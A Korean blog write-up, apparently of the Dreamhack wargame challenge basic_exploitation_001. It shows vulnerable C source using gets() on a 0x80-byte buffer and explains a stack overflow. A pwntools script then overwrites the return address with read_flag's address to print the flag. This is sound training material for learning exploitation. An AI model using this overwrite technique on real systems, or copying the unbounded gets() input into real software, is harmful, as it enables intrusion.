https://dreamhack.io/wargame/challenges/3
basic_exploitation_001
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용을
dreamhack.io
문제 파일을 다운 받으면 basic_exploitation_001.c파일과 실행 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
1. 0x80크기의 buf 선언
2. initialize() 함수 호출 (30초 후 실행 종료)
3. buf 입력 받기
scanf와 마찬가지로 0x80 보다 더 큰 문자열을 입력할 수 있으므로 bof 가 가능하다.
코드를 잘 살펴 보면 system 함수로 "cat /flag" 를 실행시켜 주는 read_flag() 함수가 있다. 이 함수 주소를 RET에 넣어 주면 실행시킬 수 있을 것 같다.
문제 파일이 32비트 체계이므로 buf와 RET사이는 0x84바이트이다.
따라서 0x84바이트의 쓰레기값 + read_flag() 함수의 주소를 넣어 주면 flag를 얻을 수 있다.
read_flag 함수의 주소는 0x80485b9이고, 그대로 코드로 짜 보자.
from pwn import *
p = remote("host3.dreamhack.games", 14808)
payload = b"a"*0x84
payload += p32(0x80485b9)
p.sendline(payload)
p.interactive()
이 코드를 실행시켜 보면 바로 플래그를 얻을 수 있다.
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] command-injection-1 (0) | 2023.08.03 |
---|---|
[드림핵/워게임] simple_sqli (0) | 2023.08.03 |
[드림핵/워게임] basic_exploitation_000 (0) | 2023.07.30 |
[드림핵/워게임] Return Address Overwrite (0) | 2023.07.30 |
[드림핵/워게임] csrf-2 write-up (0) | 2023.07.19 |